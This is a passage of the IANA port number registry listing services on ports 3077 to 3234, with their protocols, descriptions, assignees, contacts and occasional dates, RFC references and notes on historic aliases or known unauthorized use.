orbix-loc-ssl      3077        tcp    Orbix 2000 Locator SSL
orbix-loc-ssl      3077        udp    Orbix 2000 Locator SSL
orbix-cfg-ssl      3078        tcp    Orbix 2000 Locator SSL       [Eric_Newcomer]                                       [Eric_Newcomer]
orbix-cfg-ssl      3078        udp    Orbix 2000 Locator SSL       [Eric_Newcomer]                                       [Eric_Newcomer]
lv-frontpanel      3079        tcp    LV Front Panel               [Darshan_Shah]                                        [Darshan_Shah]
lv-frontpanel      3079        udp    LV Front Panel               [Darshan_Shah]                                        [Darshan_Shah]
                                      stm_pproc

stm-pproc          3080        tcp    IANA assigned this           [Paul_McGinnis]                                       [Paul_McGinnis]
                                      well-formed service name as
                                      a replacement for
                                      "stm_pproc".
                                                                                                                                                                                                                                                                                  This entry is an alias to "stm-pproc". This entry is now
stm_pproc          3080        tcp    stm_pproc                    [Paul_McGinnis]                                       [Paul_McGinnis]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      stm_pproc

stm-pproc          3080        udp    IANA assigned this           [Paul_McGinnis]                                       [Paul_McGinnis]
                                      well-formed service name as
                                      a replacement for
                                      "stm_pproc".
                                                                                                                                                                                                                                                                                  This entry is an alias to "stm-pproc". This entry is now
stm_pproc          3080        udp    stm_pproc                    [Paul_McGinnis]                                       [Paul_McGinnis]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
tl1-lv             3081        tcp    TL1-LV
tl1-lv             3081        udp    TL1-LV
tl1-raw            3082        tcp    TL1-RAW
tl1-raw            3082        udp    TL1-RAW
tl1-telnet         3083        tcp    TL1-TELNET                   [SONET_Internetworkin]                                [SONET_Internetworkin]
tl1-telnet         3083        udp    TL1-TELNET                   [SONET_Internetworkin]                                [SONET_Internetworkin]
itm-mccs           3084        tcp    ITM-MCCS                     [Portnoy_Boxman]                                      [Portnoy_Boxman]
itm-mccs           3084        udp    ITM-MCCS                     [Portnoy_Boxman]                                      [Portnoy_Boxman]
pcihreq            3085        tcp    PCIHReq                      [Paul_Sanders]                                        [Paul_Sanders]
pcihreq            3085        udp    PCIHReq                      [Paul_Sanders]                                        [Paul_Sanders]
jdl-dbkitchen      3086        tcp    JDL-DBKitchen                [Hideo_Wakabayashi]                                   [Hideo_Wakabayashi]
jdl-dbkitchen      3086        udp    JDL-DBKitchen                [Hideo_Wakabayashi]                                   [Hideo_Wakabayashi]
asoki-sma          3087        tcp    Asoki SMA                    [Andrew_Mossberg]                                     [Andrew_Mossberg]
asoki-sma          3087        udp    Asoki SMA                    [Andrew_Mossberg]                                     [Andrew_Mossberg]
xdtp               3088        tcp    eXtensible Data Transfer     [Michael_Shearson]                                    [Michael_Shearson]
                                      Protocol
xdtp               3088        udp    eXtensible Data Transfer     [Michael_Shearson]                                    [Michael_Shearson]
                                      Protocol
ptk-alink          3089        tcp    ParaTek Agent Linking        [Robert_Hodgson_2]                                    [Robert_Hodgson_2]
ptk-alink          3089        udp    ParaTek Agent Linking        [Robert_Hodgson_2]                                    [Robert_Hodgson_2]
stss               3090        tcp    Senforce Session Services    [Peter_Boucher]                                       [Peter_Boucher]
stss               3090        udp    Senforce Session Services    [Peter_Boucher]                                       [Peter_Boucher]
1ci-smcs           3091        tcp    1Ci Server Management        [Ralf_Bensmann]                                       [Ralf_Bensmann]
1ci-smcs           3091        udp    1Ci Server Management        [Ralf_Bensmann]                                       [Ralf_Bensmann]
                   3092               Unassigned                                                                                                                                                2008-04-22
rapidmq-center     3093        tcp    Jiiva RapidMQ Center
rapidmq-center     3093        udp    Jiiva RapidMQ Center
rapidmq-reg        3094        tcp    Jiiva RapidMQ Registry       [Mark_Ericksen]                                       [Mark_Ericksen]
rapidmq-reg        3094        udp    Jiiva RapidMQ Registry       [Mark_Ericksen]                                       [Mark_Ericksen]
panasas            3095        tcp    Panasas rendezvous port      [Patrick_Keane]                                       [Patrick_Keane]                                                        2017-08-17
panasas            3095        udp    Panasas rendezvous port      [Patrick_Keane]                                       [Patrick_Keane]                                                        2017-08-17
ndl-aps            3096        tcp    Active Print Server Port     [Martin_Norman]                                       [Martin_Norman]
ndl-aps            3096        udp    Active Print Server Port     [Martin_Norman]                                       [Martin_Norman]
                   3097        tcp    Reserved
                   3097        udp    Reserved
itu-bicc-stc       3097       sctp    ITU-T Q.1902.1/Q.2150.3      [Greg_Sidebottom]                                     [Greg_Sidebottom]
umm-port           3098        tcp    Universal Message Manager    [Phil_Braham]                                         [Phil_Braham]
umm-port           3098        udp    Universal Message Manager    [Phil_Braham]                                         [Phil_Braham]
chmd               3099        tcp    CHIPSY Machine Daemon        [Trond_Borsting]                                      [Trond_Borsting]
chmd               3099        udp    CHIPSY Machine Daemon        [Trond_Borsting]                                      [Trond_Borsting]
opcon-xps          3100        tcp    OpCon/xps                    [David_Bourland]                                      [David_Bourland]
opcon-xps          3100        udp    OpCon/xps                    [David_Bourland]                                      [David_Bourland]
hp-pxpib           3101        tcp    HP PolicyXpert PIB Server    [Brian_O_Keefe]                                       [Brian_O_Keefe]
hp-pxpib           3101        udp    HP PolicyXpert PIB Server    [Brian_O_Keefe]                                       [Brian_O_Keefe]
slslavemon         3102        tcp    SoftlinK Slave Mon Port      [Moshe_Livne]                                         [Moshe_Livne]
slslavemon         3102        udp    SoftlinK Slave Mon Port      [Moshe_Livne]                                         [Moshe_Livne]
autocuesmi         3103        tcp    Autocue SMI Protocol
autocuesmi         3103        udp    Autocue SMI Protocol
autocuelog         3104        tcp    Autocue Logger Protocol
autocuetime        3104        udp    Autocue Time Service         [Geoff_Back]                                          [Geoff_Back]
cardbox            3105        tcp    Cardbox
cardbox            3105        udp    Cardbox
cardbox-http       3106        tcp    Cardbox HTTP                 [Martin_Kochanski]                                    [Martin_Kochanski]
cardbox-http       3106        udp    Cardbox HTTP                 [Martin_Kochanski]                                    [Martin_Kochanski]
business           3107        tcp    Business protocol
business           3107        udp    Business protocol
geolocate          3108        tcp    Geolocate protocol
geolocate          3108        udp    Geolocate protocol
personnel          3109        tcp    Personnel protocol           [William_Randolph_Roy]                                [William_Randolph_Roy]
personnel          3109        udp    Personnel protocol           [William_Randolph_Roy]                                [William_Randolph_Roy]
sim-control        3110        tcp    simulator control port       [Ian_Bell]                                            [Ian_Bell]
sim-control        3110        udp    simulator control port       [Ian_Bell]                                            [Ian_Bell]
wsynch             3111        tcp    Web Synchronous Services     [Valery_Fremaux]                                      [Valery_Fremaux]
wsynch             3111        udp    Web Synchronous Services     [Valery_Fremaux]                                      [Valery_Fremaux]
ksysguard          3112        tcp    KDE System Guard             [Chris_Schlaeger]                                     [Chris_Schlaeger]
ksysguard          3112        udp    KDE System Guard             [Chris_Schlaeger]                                     [Chris_Schlaeger]
cs-auth-svr        3113        tcp    CS-Authenticate Svr Port     [Cliff_Diamond][Andy_Georgiou]                        [Cliff_Diamond][Andy_Georgiou]
cs-auth-svr        3113        udp    CS-Authenticate Svr Port     [Cliff_Diamond][Andy_Georgiou]                        [Cliff_Diamond][Andy_Georgiou]
ccmad              3114        tcp    CCM AutoDiscover             [Ram_Sudama]                                          [Ram_Sudama]
ccmad              3114        udp    CCM AutoDiscover             [Ram_Sudama]                                          [Ram_Sudama]
mctet-master       3115        tcp    MCTET Master
mctet-master       3115        udp    MCTET Master
mctet-gateway      3116        tcp    MCTET Gateway
mctet-gateway      3116        udp    MCTET Gateway
mctet-jserv        3117        tcp    MCTET Jserv                  [Portnoy_Boxman]                                      [Portnoy_Boxman]
mctet-jserv        3117        udp    MCTET Jserv                  [Portnoy_Boxman]                                      [Portnoy_Boxman]
pkagent            3118        tcp    PKAgent                      [Michael_Douglass]                                    [Michael_Douglass]
pkagent            3118        udp    PKAgent                      [Michael_Douglass]                                    [Michael_Douglass]
d2000kernel        3119        tcp    D2000 Kernel Port
d2000kernel        3119        udp    D2000 Kernel Port
d2000webserver     3120        tcp    D2000 Webserver Port         [Tomas_Rajcan]                                        [Tomas_Rajcan]
d2000webserver     3120        udp    D2000 Webserver Port         [Tomas_Rajcan]                                        [Tomas_Rajcan]
                                      The pacemaker remote
                                      (pcmk-remote) service
pcmk-remote        3121        tcp    extends high availability    [David_Vossel]                                        [Andrew_Beekhof]                                                       2013-03-15                                                                        port 3121 previously noted "Removed on 2003-09-17"
                                      functionality outside of the
                                      Linux cluster into remote
                                      nodes.
                   3121        udp    Reserved                                                                                                                                                  2013-03-15                                                                        port 3121 previously noted "Removed on 2003-09-17"
vtr-emulator       3122        tcp    MTI VTR Emulator port        [John_Mertus]                                         [John_Mertus]
vtr-emulator       3122        udp    MTI VTR Emulator port        [John_Mertus]                                         [John_Mertus]
edix               3123        tcp    EDI Translation Protocol     [William_Randolph_Roy]                                [William_Randolph_Roy]
edix               3123        udp    EDI Translation Protocol     [William_Randolph_Roy]                                [William_Randolph_Roy]
beacon-port        3124        tcp    Beacon Port                  [James_Paul_Duncan]                                   [James_Paul_Duncan]
beacon-port        3124        udp    Beacon Port                  [James_Paul_Duncan]                                   [James_Paul_Duncan]
a13-an             3125        tcp    A13-AN Interface             [Douglas_Knisely]                                     [Douglas_Knisely]
a13-an             3125        udp    A13-AN Interface             [Douglas_Knisely]                                     [Douglas_Knisely]
                   3126               Unassigned                                                                                                                                                2007-10-04
ctx-bridge         3127        tcp    CTX Bridge Port              [Alexander_Dubrovsky]                                 [Alexander_Dubrovsky]
ctx-bridge         3127        udp    CTX Bridge Port              [Alexander_Dubrovsky]                                 [Alexander_Dubrovsky]
ndl-aas            3128        tcp    Active API Server Port       [Martin_Norman]                                       [Martin_Norman]
ndl-aas            3128        udp    Active API Server Port       [Martin_Norman]                                       [Martin_Norman]
netport-id         3129        tcp    NetPort Discovery Port       [P_T_K_Farrar]                                        [P_T_K_Farrar]
netport-id         3129        udp    NetPort Discovery Port       [P_T_K_Farrar]                                        [P_T_K_Farrar]
icpv2              3130        tcp    ICPv2                        [Duane_Wessels]                                       [Duane_Wessels]
icpv2              3130        udp    ICPv2                        [Duane_Wessels]                                       [Duane_Wessels]
                                                                                                                                                                                                                                                                     Known
netbookmark        3131        tcp    Net Book Mark                [Yiftach_Ravid]                                       [Yiftach_Ravid]                                                                                                                             Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     3131
                                                                                                                                                                                                                                                                     Known
netbookmark        3131        udp    Net Book Mark                [Yiftach_Ravid]                                       [Yiftach_Ravid]                                                                                                                             Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     3131
ms-rule-engine     3132        tcp    Microsoft Business Rule      [Anush_Kumar]                                         [Anush_Kumar]
                                      Engine Update Service
ms-rule-engine     3132        udp    Microsoft Business Rule      [Anush_Kumar]                                         [Anush_Kumar]
                                      Engine Update Service
prism-deploy       3133        tcp    Prism Deploy User Port       [Joan_Linck]                                          [Joan_Linck]
prism-deploy       3133        udp    Prism Deploy User Port       [Joan_Linck]                                          [Joan_Linck]
ecp                3134        tcp    Extensible Code Protocol     [Jim_Trek][Mark_Bocko]                                [Jim_Trek][Mark_Bocko]
ecp                3134        udp    Extensible Code Protocol     [Jim_Trek][Mark_Bocko]                                [Jim_Trek][Mark_Bocko]
peerbook-port      3135        tcp    PeerBook Port                [John_Flowers]                                        [John_Flowers]
peerbook-port      3135        udp    PeerBook Port                [John_Flowers]                                        [John_Flowers]
grubd              3136        tcp    Grub Server Port             [Kord_Campbell]                                       [Kord_Campbell]
grubd              3136        udp    Grub Server Port             [Kord_Campbell]                                       [Kord_Campbell]
rtnt-1             3137        tcp    rtnt-1 data packets
rtnt-1             3137        udp    rtnt-1 data packets
rtnt-2             3138        tcp    rtnt-2 data packets          [Ron_Muellerschoen]                                   [Ron_Muellerschoen]
rtnt-2             3138        udp    rtnt-2 data packets          [Ron_Muellerschoen]                                   [Ron_Muellerschoen]
incognitorv        3139        tcp    Incognito Rendez-Vous        [Stephane_Bourque]                                    [Stephane_Bourque]
incognitorv        3139        udp    Incognito Rendez-Vous        [Stephane_Bourque]                                    [Stephane_Bourque]
ariliamulti        3140        tcp    Arilia Multiplexor           [Stephane_Bourque_2]                                  [Stephane_Bourque_2]
ariliamulti        3140        udp    Arilia Multiplexor           [Stephane_Bourque_2]                                  [Stephane_Bourque_2]
vmodem             3141        tcp    VMODEM                       [Ray_Gwinn]                                           [Ray_Gwinn]
vmodem             3141        udp    VMODEM                       [Ray_Gwinn]                                           [Ray_Gwinn]
rdc-wh-eos         3142        tcp    RDC WH EOS                   [Udi_Nir]                                             [Udi_Nir]
rdc-wh-eos         3142        udp    RDC WH EOS                   [Udi_Nir]                                             [Udi_Nir]
seaview            3143        tcp    Sea View                     [Jim_Flaherty_2]                                      [Jim_Flaherty_2]
seaview            3143        udp    Sea View                     [Jim_Flaherty_2]                                      [Jim_Flaherty_2]
tarantella         3144        tcp    Tarantella                   [Roger_Binns]                                         [Roger_Binns]
tarantella         3144        udp    Tarantella                   [Roger_Binns]                                         [Roger_Binns]
                                                                                                                                                                                                                                                                     Known
csi-lfap           3145        tcp    CSI-LFAP                     [Paul_Amsden]                                         [Paul_Amsden]                                                                                                                               UNAUTHORIZED
                                                                                                                                                                                                                                                                     USE: port
                                                                                                                                                                                                                                                                     3145
                                                                                                                                                                                                                                                                     Known
csi-lfap           3145        udp    CSI-LFAP                     [Paul_Amsden]                                         [Paul_Amsden]                                                                                                                               UNAUTHORIZED
                                                                                                                                                                                                                                                                     USE: port
                                                                                                                                                                                                                                                                     3145
bears-02           3146        tcp    bears-02                     [Bruce_McKinnon_2]                                    [Bruce_McKinnon_2]
bears-02           3146        udp    bears-02                     [Bruce_McKinnon_2]                                    [Bruce_McKinnon_2]
rfio               3147        tcp    RFIO                         [Frederic_Hemmer]                                     [Frederic_Hemmer]
rfio               3147        udp    RFIO                         [Frederic_Hemmer]                                     [Frederic_Hemmer]
nm-game-admin      3148        tcp    NetMike Game Administrator
nm-game-admin      3148        udp    NetMike Game Administrator
nm-game-server     3149        tcp    NetMike Game Server
nm-game-server     3149        udp    NetMike Game Server
nm-asses-admin     3150        tcp    NetMike Assessor
                                      Administrator
nm-asses-admin     3150        udp    NetMike Assessor
                                      Administrator
nm-assessor        3151        tcp    NetMike Assessor             [Andrew_Sharpe]                                       [Andrew_Sharpe]
nm-assessor        3151        udp    NetMike Assessor             [Andrew_Sharpe]                                       [Andrew_Sharpe]
feitianrockey      3152        tcp    FeiTian Port                 [Huang_Yu]                                            [Huang_Yu]
feitianrockey      3152        udp    FeiTian Port                 [Huang_Yu]                                            [Huang_Yu]
s8-client-port     3153        tcp    S8Cargo Client Port          [Jon_S_Kyle]                                          [Jon_S_Kyle]
s8-client-port     3153        udp    S8Cargo Client Port          [Jon_S_Kyle]                                          [Jon_S_Kyle]
ccmrmi             3154        tcp    ON RMI Registry              [Ram_Sudama]                                          [Ram_Sudama]
ccmrmi             3154        udp    ON RMI Registry              [Ram_Sudama]                                          [Ram_Sudama]
jpegmpeg           3155        tcp    JpegMpeg Port                [Richard_Bassous]                                     [Richard_Bassous]
jpegmpeg           3155        udp    JpegMpeg Port                [Richard_Bassous]                                     [Richard_Bassous]
indura             3156        tcp    Indura Collector             [Bruce_Kosbab]                                        [Bruce_Kosbab]
indura             3156        udp    Indura Collector             [Bruce_Kosbab]                                        [Bruce_Kosbab]
e3consultants      3157        tcp    CCC Listener Port            [Brian_Carnell]                                       [Brian_Carnell]
e3consultants      3157        udp    CCC Listener Port            [Brian_Carnell]                                       [Brian_Carnell]
stvp               3158        tcp    SmashTV Protocol             [Christian_Wolff]                                     [Christian_Wolff]
stvp               3158        udp    SmashTV Protocol             [Christian_Wolff]                                     [Christian_Wolff]
navegaweb-port     3159        tcp    NavegaWeb Tarification       [Miguel_Angel_Fernand]                                [Miguel_Angel_Fernand]
navegaweb-port     3159        udp    NavegaWeb Tarification       [Miguel_Angel_Fernand]                                [Miguel_Angel_Fernand]
tip-app-server     3160        tcp    TIP Application Server       [Olivier_Mascia]                                      [Olivier_Mascia]
tip-app-server     3160        udp    TIP Application Server       [Olivier_Mascia]                                      [Olivier_Mascia]
doc1lm             3161        tcp    DOC1 License Manager         [Greg_Goodson]                                        [Greg_Goodson]
doc1lm             3161        udp    DOC1 License Manager         [Greg_Goodson]                                        [Greg_Goodson]
sflm               3162        tcp    SFLM                         [System_Administrator]                                [System_Administrator]
sflm               3162        udp    SFLM                         [System_Administrator]                                [System_Administrator]
res-sap            3163        tcp    RES-SAP                      [Bob_Janssen]                                         [Bob_Janssen]
res-sap            3163        udp    RES-SAP                      [Bob_Janssen]                                         [Bob_Janssen]
imprs              3164        tcp    IMPRS                        [Lars_Bohn]                                           [Lars_Bohn]
imprs              3164        udp    IMPRS                        [Lars_Bohn]                                           [Lars_Bohn]
newgenpay          3165        tcp    Newgenpay Engine Service     [Ilan_Zisser]                                         [Ilan_Zisser]
newgenpay          3165        udp    Newgenpay Engine Service     [Ilan_Zisser]                                         [Ilan_Zisser]
sossecollector     3166        tcp    Quest Spotlight              [Greg_Cottman]                                        [Greg_Cottman]                                            2008-10-23
                                      Out-Of-Process Collector
sossecollector     3166        udp    Quest Spotlight              [Greg_Cottman]                                        [Greg_Cottman]                                            2008-10-23
                                      Out-Of-Process Collector
nowcontact         3167        tcp    Now Contact Public Server
nowcontact         3167        udp    Now Contact Public Server
poweronnud         3168        tcp    Now Up-to-Date Public Server [John_Wallace]                                        [John_Wallace]
poweronnud         3168        udp    Now Up-to-Date Public Server [John_Wallace]                                        [John_Wallace]
serverview-as      3169        tcp    SERVERVIEW-AS
serverview-as      3169        udp    SERVERVIEW-AS
serverview-asn     3170        tcp    SERVERVIEW-ASN
serverview-asn     3170        udp    SERVERVIEW-ASN
serverview-gf      3171        tcp    SERVERVIEW-GF
serverview-gf      3171        udp    SERVERVIEW-GF
serverview-rm      3172        tcp    SERVERVIEW-RM
serverview-rm      3172        udp    SERVERVIEW-RM
serverview-icc     3173        tcp    SERVERVIEW-ICC               [Detlef_Rothe]                                        [Detlef_Rothe]                                            2009-05-15
serverview-icc     3173        udp    SERVERVIEW-ICC               [Detlef_Rothe]                                        [Detlef_Rothe]                                            2009-05-15
armi-server        3174        tcp    ARMI Server                  [Bobby_Martin]                                        [Bobby_Martin]
armi-server        3174        udp    ARMI Server                  [Bobby_Martin]                                        [Bobby_Martin]
t1-e1-over-ip      3175        tcp    T1_E1_Over_IP                [Mark_Doyle]                                          [Mark_Doyle]
t1-e1-over-ip      3175        udp    T1_E1_Over_IP                [Mark_Doyle]                                          [Mark_Doyle]
ars-master         3176        tcp    ARS Master                   [Portnoy_Boxman]                                      [Portnoy_Boxman]
ars-master         3176        udp    ARS Master                   [Portnoy_Boxman]                                      [Portnoy_Boxman]
phonex-port        3177        tcp    Phonex Protocol              [Doug_Grover]                                         [Doug_Grover]
phonex-port        3177        udp    Phonex Protocol              [Doug_Grover]                                         [Doug_Grover]
radclientport      3178        tcp    Radiance UltraEdge Port      [Sri_Subramaniam]                                     [Sri_Subramaniam]
radclientport      3178        udp    Radiance UltraEdge Port      [Sri_Subramaniam]                                     [Sri_Subramaniam]
h2gf-w-2m          3179        tcp    H2GF W.2m Handover prot.     [Arne_Norefors]                                       [Arne_Norefors]
h2gf-w-2m          3179        udp    H2GF W.2m Handover prot.     [Arne_Norefors]                                       [Arne_Norefors]
mc-brk-srv         3180        tcp    Millicent Broker Server      [Steve_Glassman]                                      [Steve_Glassman]
mc-brk-srv         3180        udp    Millicent Broker Server      [Steve_Glassman]                                      [Steve_Glassman]
bmcpatrolagent     3181        tcp    BMC Patrol Agent
bmcpatrolagent     3181        udp    BMC Patrol Agent
bmcpatrolrnvu      3182        tcp    BMC Patrol Rendezvous        [Portnoy_Boxman]                                      [Portnoy_Boxman]
bmcpatrolrnvu      3182        udp    BMC Patrol Rendezvous        [Portnoy_Boxman]                                      [Portnoy_Boxman]
cops-tls           3183        tcp    COPS/TLS                     [Mark_Stevens]                                        [Mark_Stevens]
cops-tls           3183        udp    COPS/TLS                     [Mark_Stevens]                                        [Mark_Stevens]
apogeex-port       3184        tcp    ApogeeX Port                 [Tom_Nys]                                             [Tom_Nys]
apogeex-port       3184        udp    ApogeeX Port                 [Tom_Nys]                                             [Tom_Nys]
smpppd             3185        tcp    SuSE Meta PPPD               [Arvin_Schnell]                                       [Arvin_Schnell]
smpppd             3185        udp    SuSE Meta PPPD               [Arvin_Schnell]                                       [Arvin_Schnell]
iiw-port           3186        tcp    IIW Monitor User Port        [Corey_Burnett]                                       [Corey_Burnett]
iiw-port           3186        udp    IIW Monitor User Port        [Corey_Burnett]                                       [Corey_Burnett]
odi-port           3187        tcp    Open Design Listen Port      [Phivos_Aristides]                                    [Phivos_Aristides]
odi-port           3187        udp    Open Design Listen Port      [Phivos_Aristides]                                    [Phivos_Aristides]
brcm-comm-port     3188        tcp    Broadcom Port                [Thomas_L_Johnson]                                    [Thomas_L_Johnson]
brcm-comm-port     3188        udp    Broadcom Port                [Thomas_L_Johnson]                                    [Thomas_L_Johnson]
pcle-infex         3189        tcp    Pinnacle Sys InfEx Port      [Anthon_van_der_Neut]                                 [Anthon_van_der_Neut]
pcle-infex         3189        udp    Pinnacle Sys InfEx Port      [Anthon_van_der_Neut]                                 [Anthon_van_der_Neut]
csvr-proxy         3190        tcp    ConServR Proxy
csvr-proxy         3190        udp    ConServR Proxy
csvr-sslproxy      3191        tcp    ConServR SSL Proxy           [Mikhail_Kruk]                                        [Mikhail_Kruk]
csvr-sslproxy      3191        udp    ConServR SSL Proxy           [Mikhail_Kruk]                                        [Mikhail_Kruk]
firemonrcc         3192        tcp    FireMon Revision Control     [Michael_Bishop]                                      [Michael_Bishop]
firemonrcc         3192        udp    FireMon Revision Control     [Michael_Bishop]                                      [Michael_Bishop]
spandataport       3193        tcp    SpanDataPort                 [Jesse_McKay]                                         [Jesse_McKay]
spandataport       3193        udp    SpanDataPort                 [Jesse_McKay]                                         [Jesse_McKay]
magbind            3194        tcp    Rockstorm MAG protocol       [Jens_Nilsson]                                        [Jens_Nilsson]
magbind            3194        udp    Rockstorm MAG protocol       [Jens_Nilsson]                                        [Jens_Nilsson]
ncu-1              3195        tcp    Network Control Unit
ncu-1              3195        udp    Network Control Unit
ncu-2              3196        tcp    Network Control Unit         [Charlie_Hundre]                                      [Charlie_Hundre]
ncu-2              3196        udp    Network Control Unit         [Charlie_Hundre]                                      [Charlie_Hundre]
embrace-dp-s       3197        tcp    Embrace Device Protocol
                                      Server
embrace-dp-s       3197        udp    Embrace Device Protocol
                                      Server
embrace-dp-c       3198        tcp    Embrace Device Protocol      [Elliot_Schwartz]                                     [Elliot_Schwartz]
                                      Client
embrace-dp-c       3198        udp    Embrace Device Protocol      [Elliot_Schwartz]                                     [Elliot_Schwartz]
                                      Client
dmod-workspace     3199        tcp    DMOD WorkSpace               [Nick_Plante]                                         [Nick_Plante]
dmod-workspace     3199        udp    DMOD WorkSpace               [Nick_Plante]                                         [Nick_Plante]
tick-port          3200        tcp    Press-sense Tick Port        [Boris_Svetlitsky]                                    [Boris_Svetlitsky]
tick-port          3200        udp    Press-sense Tick Port        [Boris_Svetlitsky]                                    [Boris_Svetlitsky]
cpq-tasksmart      3201        tcp    CPQ-TaskSmart                [Jackie_Lau]                                          [Jackie_Lau]
cpq-tasksmart      3201        udp    CPQ-TaskSmart                [Jackie_Lau]                                          [Jackie_Lau]
intraintra         3202        tcp    IntraIntra                   [Matthew_Asham]                                       [Matthew_Asham]
intraintra         3202        udp    IntraIntra                   [Matthew_Asham]                                       [Matthew_Asham]
netwatcher-mon     3203        tcp    Network Watcher Monitor
netwatcher-mon     3203        udp    Network Watcher Monitor
netwatcher-db      3204        tcp    Network Watcher DB Access    [Hirokazu_Fujisawa]                                   [Hirokazu_Fujisawa]
netwatcher-db      3204        udp    Network Watcher DB Access    [Hirokazu_Fujisawa]                                   [Hirokazu_Fujisawa]
isns               3205        tcp    iSNS Server Port                                                                                                                                                       [RFC4171]
isns               3205        udp    iSNS Server Port                                                                                                                                                       [RFC4171]
ironmail           3206        tcp    IronMail POP Proxy           [Mike_Hudack]                                         [Mike_Hudack]
ironmail           3206        udp    IronMail POP Proxy           [Mike_Hudack]                                         [Mike_Hudack]
vx-auth-port       3207        tcp    Veritas Authentication Port  [Senthil_Ponnuswamy]                                  [Senthil_Ponnuswamy]
vx-auth-port       3207        udp    Veritas Authentication Port  [Senthil_Ponnuswamy]                                  [Senthil_Ponnuswamy]
pfu-prcallback     3208        tcp    PFU PR Callback              [Tetsuharu_Hanada]                                    [Tetsuharu_Hanada]
pfu-prcallback     3208        udp    PFU PR Callback              [Tetsuharu_Hanada]                                    [Tetsuharu_Hanada]
netwkpathengine    3209        tcp    HP OpenView Network Path     [Anthony_Walker]                                      [Anthony_Walker]
                                      Engine Server
netwkpathengine    3209        udp    HP OpenView Network Path     [Anthony_Walker]                                      [Anthony_Walker]
                                      Engine Server
flamenco-proxy     3210        tcp    Flamenco Networks Proxy      [Corey_Corrick]                                       [Corey_Corrick]
flamenco-proxy     3210        udp    Flamenco Networks Proxy      [Corey_Corrick]                                       [Corey_Corrick]
avsecuremgmt       3211        tcp    Avocent Secure Management    [Brian_S_Stewart]                                     [Brian_S_Stewart]
avsecuremgmt       3211        udp    Avocent Secure Management    [Brian_S_Stewart]                                     [Brian_S_Stewart]
surveyinst         3212        tcp    Survey Instrument            [Al_Amet]                                             [Al_Amet]
surveyinst         3212        udp    Survey Instrument            [Al_Amet]                                             [Al_Amet]
neon24x7           3213        tcp    NEON 24X7 Mission Control    [Tony_Lubrano]                                        [Tony_Lubrano]
neon24x7           3213        udp    NEON 24X7 Mission Control    [Tony_Lubrano]                                        [Tony_Lubrano]
jmq-daemon-1       3214        tcp    JMQ Daemon Port 1
jmq-daemon-1       3214        udp    JMQ Daemon Port 1
jmq-daemon-2       3215        tcp    JMQ Daemon Port 2            [Martin_West]                                         [Martin_West]
jmq-daemon-2       3215        udp    JMQ Daemon Port 2            [Martin_West]                                         [Martin_West]
ferrari-foam       3216        tcp    Ferrari electronic FOAM      [Johann_Deutinger]                                    [Johann_Deutinger]
ferrari-foam       3216        udp    Ferrari electronic FOAM      [Johann_Deutinger]                                    [Johann_Deutinger]
unite              3217        tcp    Unified IP & Telecom         [Christer_Gunnarsson]                                 [Christer_Gunnarsson]                                     2009-03-26
                                      Environment
unite              3217        udp    Unified IP & Telecom         [Christer_Gunnarsson]                                 [Christer_Gunnarsson]                                     2009-03-26
                                      Environment
smartpackets       3218        tcp    EMC SmartPackets             [Steve_Spataro]                                       [Steve_Spataro]
smartpackets       3218        udp    EMC SmartPackets             [Steve_Spataro]                                       [Steve_Spataro]
wms-messenger      3219        tcp    WMS Messenger                [Michael_Monasterio]                                  [Michael_Monasterio]
wms-messenger      3219        udp    WMS Messenger                [Michael_Monasterio]                                  [Michael_Monasterio]
xnm-ssl            3220        tcp    XML NM over SSL
xnm-ssl            3220        udp    XML NM over SSL
xnm-clear-text     3221        tcp    XML NM over TCP              [Mark_Trostler]                                       [Mark_Trostler]
xnm-clear-text     3221        udp    XML NM over TCP              [Mark_Trostler]                                       [Mark_Trostler]
glbp               3222        tcp    Gateway Load Balancing Pr    [Douglas_McLaggan]                                    [Douglas_McLaggan]
glbp               3222        udp    Gateway Load Balancing Pr    [Douglas_McLaggan]                                    [Douglas_McLaggan]
digivote           3223        tcp    DIGIVOTE (R) Vote-Server     [Christian_Treczoks]                                  [Christian_Treczoks]
digivote           3223        udp    DIGIVOTE (R) Vote-Server     [Christian_Treczoks]                                  [Christian_Treczoks]
aes-discovery      3224        tcp    AES Discovery Port           [Ken_Richard]                                         [Ken_Richard]
aes-discovery      3224        udp    AES Discovery Port           [Ken_Richard]                                         [Ken_Richard]
fcip-port          3225        tcp    FCIP                                                                                                                                                                   [RFC3821]
fcip-port          3225        udp    FCIP                                                                                                                                                                   [RFC3821]
isi-irp            3226        tcp    ISI Industry Software IRP    [Peter_Sandstrom]                                     [Peter_Sandstrom]
isi-irp            3226        udp    ISI Industry Software IRP    [Peter_Sandstrom]                                     [Peter_Sandstrom]
dwnmshttp          3227        tcp    DiamondWave NMS Server
dwnmshttp          3227        udp    DiamondWave NMS Server
dwmsgserver        3228        tcp    DiamondWave MSG Server       [Varma_Bhupatiraju]                                   [Varma_Bhupatiraju]
dwmsgserver        3228        udp    DiamondWave MSG Server       [Varma_Bhupatiraju]                                   [Varma_Bhupatiraju]
global-cd-port     3229        tcp    Global CD Port               [Vitaly_Revsin_2]                                     [Vitaly_Revsin_2]
global-cd-port     3229        udp    Global CD Port               [Vitaly_Revsin_2]                                     [Vitaly_Revsin_2]
sftdst-port        3230        tcp    Software Distributor Port    [Andrea_Lanza]                                        [Andrea_Lanza]                                                         2014-02-21
sftdst-port        3230        udp    Software Distributor Port    [Andrea_Lanza]                                        [Andrea_Lanza]                                                         2014-02-21
                                      VidiGo communication
vidigo             3231        tcp    (previous was: Delta         [Peter_Ijkhout]                                       [Peter_Ijkhout]
                                      Solutions Direct)
                                      VidiGo communication
vidigo             3231        udp    (previous was: Delta         [Peter_Ijkhout]                                       [Peter_Ijkhout]
                                      Solutions Direct)
mdtp               3232        tcp    MDT port                                                                                                                                                  2012-02-21   [RFC6513]
mdtp               3232        udp    MDT port                                                                                                                                                  2012-02-21   [RFC6513]
whisker            3233        tcp    WhiskerControl main port     [Rudolf_Cardinal]                                     [Rudolf_Cardinal]                                         2002-02
whisker            3233        udp    WhiskerControl main port     [Rudolf_Cardinal]                                     [Rudolf_Cardinal]                                         2002-02
alchemy            3234        tcp    Alchemy Server               [Mikhail_Belov]                                       [Mikhail_Belov]                                           2002-02
alchemy            3234        udp    Alchemy Server               [Mikhail_Belov]                                       [Mikhail_Belov]                                           2002-02
